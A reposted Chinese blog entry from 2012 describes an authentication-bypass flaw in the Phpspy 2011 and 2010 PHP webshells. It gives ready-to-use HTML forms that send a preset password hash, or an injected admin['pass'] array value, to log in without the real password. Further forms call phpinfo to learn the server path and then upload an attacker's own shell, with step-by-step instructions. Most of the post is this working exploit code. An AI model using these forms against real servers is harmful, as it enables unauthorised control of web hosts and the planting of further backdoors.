王健宇's BLOG

Phpspy 2011 继续身份验证绕过漏洞

2012-1-5 王健宇 转载

转载自hackshell博客：http://www.hackshell.net/blog/?p=357

官方目前下载已经修补上了 目前官方下载是2011.php， 文件名为2011ok.php的是带洞版本。

看到$pass还是在那个函数的上面，但是验证成功过后用了一个Location重定向了一下，之后会再次检查一次cookies。

但是想不明白作者为什么这样做，和2010的原理一样，一样绕过：

下面给出一个更为直接的利用方法，上传你自己的新shell：

<form method="POST" action="http://localhost/2011.php">
 <input name="password" type="text" size="20" value="hackshell_net">
 <input type="hidden" name="pass" value="186c5d4c8ea2b5d95585cde854df00f9">
 <input type="submit" value="Login"></form>

点击Login，这步点登录后 是登录界面  继续操作下一步：

<form method="POST" action="http://localhost/2011.php">
 <input name="password" type="text" size="20" value="hackshell_net">
 <input type="hidden" name="pass" value="186c5d4c8ea2b5d95585cde854df00f9">
 <input type="hidden" name="action" value="phpinfo"><input type="submit" value="Login"></form>

密码写hackshell_net (默认写好) 点击login之后 查看当前脚本绝对路径，
然后访问：

    <form action="http://localhost/2011.php" method="POST" enctype="multipart/form-data">
    <input name="password" type="password" size="20">
    <input type="hidden" name="pass" value="186c5d4c8ea2b5d95585cde854df00f9">

    <input name="uploadfile" value="" type="file">
    <input name="doupfile" value="Upload" type="submit">
    <input name="uploaddir" value="D:/workspace/" type="hidden">
    <input name="dir" value="D:/workspace/" type="hidden">
    </form>

其中把iploaddir的value改为phpinfo中看到的路径，上传shell。

 

另外附上2010的利用代码：

<!--测试登陆--!>
<form method="POST" action="http://localhost/2010.php">
<input type="hidden" name="admin['pass']" value="1">
<input type="submit" value="Login"></form>

<!--测试phpinfo--!>
<form method="POST" action="http://localhost/2010.php">
<input type="hidden" name="admin['pass']" value="1">
<input type="hidden" name="action" value="phpinfo"><input type="submit" value="Login"></form>

<!--测试上传--!>
<form method="POST" action="http://localhost/2010.php" enctype="multipart/form-data">
<input type="hidden" name="admin['pass']" value="1">
<input name="uploadfile" value="" type="file">
 <input name="doupfile" value="Upload" type="submit">

 <input name="uploaddir" value="c:\wamp\www\" type="hidden">
 <input name="dir" value="c:\wamp\www\" type="hidden">
</form>
今晚看到这文章测试的成果哦

标签: Phpspy身份验证绕过漏洞